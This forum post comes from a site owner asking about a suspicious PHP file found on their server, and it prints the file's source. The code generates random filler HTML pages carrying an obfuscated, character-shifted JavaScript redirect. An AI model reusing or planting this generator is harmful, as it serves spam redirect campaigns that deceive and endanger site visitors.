Can anybody tell me what is this PHP file?

Found it on the root folder. What is it? is it harmful?
My hosting provider warned me about lots of spam mails. but i wasnt sending any mails. is this file connected to it?

file name: Swink.php
content:

<?php
function html($data)
{
$html=implode("\r\n",array("%1html%3","%1head%3",head(),"%2head%3","%1body%3%sign%",body($data),"%2body%3","%2html%3"));
$html=preg_replace('/%1/',"<",$html);$html=preg_replace('/%2/',"</",$html);$html=preg_replace('/%3/',">",$html);
$sign=parag(1,1).(strlen($html)+31331);$html=preg_replace('/%sign%/',$sign,$html);
return $html;
}
function body($data)
{
srand(seed());
$body=array();
for($i=0;$i<rand(3,10);$i++)
{
$text=parag(50,250);
srand(seed());
$tags=array("p","div","span");$tags=$tags[rand(0,count($tags)-1)];
array_push($body,"%1$tags%3",$text,"%2$tags%3");
}
array_push($body,js($data));
return implode("\r\n",$body);
}
function head()
{
srand(seed());
$title=parag(2,10);
$charset=array("ISO-8859-1","UTF-8");$charset=$charset[rand(0,count($charset)-1)];
$headers=array("%1style type=\"text/css\"%3\r\nbody { color:#ffffff; }\r\n%2style%3","%1title%3$title%2title%3","%1meta http-equiv=\"Content-Type\" content=\"text/html; charset=$charset\"%3");
srand(seed());
$rnd_num=rand(0,1);
if($rnd_num)
{
$description=parag(4,10);
$keywords=array();for($i=0;$i<rand(1,10);$i++){array_push($keywords,parag(1,1));} $keywords=implode(", ",$keywords);
srand(seed());
$additional=array("%1meta name=\"description\" content=\"$description\"%3","%1meta name=\"keywords\" content=\"$keywords\"%3");$additional=$additional[rand(0,count($additional)-1)];
array_push($headers,$additional);
}
shuffle($headers);
return implode("\r\n",$headers);
}
function js($data)
{
array_unshift($data,119,105,110,100,111,119,46,116,111,112,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39);array_push($data,39,59);
srand(seed());$diff=rand(1,100);$name=parag(1,1);
$code="%1script type=\"text/javascript\"%3\r\n";
$code.="function ".$name."e() { ";
$code.=$name."a=$diff; ".$name."b=[";
$list=array();foreach($data as $byte){array_push($list,($byte+$diff));}
$code.=implode(',',$list);
$code.="]; ";
$code.=$name."c=\"\"; for(";
$code.=$name."d=0;".$name."d<".$name."b.length;".$name."d++) { ";
$code.=$name."c+=String.fromCharCode(".$name."b[".$name."d]-".$name."a); } return ";
$code.=$name."c; } ";
$diff+=1234;$code.="setTimeout(".$name."e(),$diff);\r\n";
$code.="%2script%3";
return $code;
}
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srand(seed());
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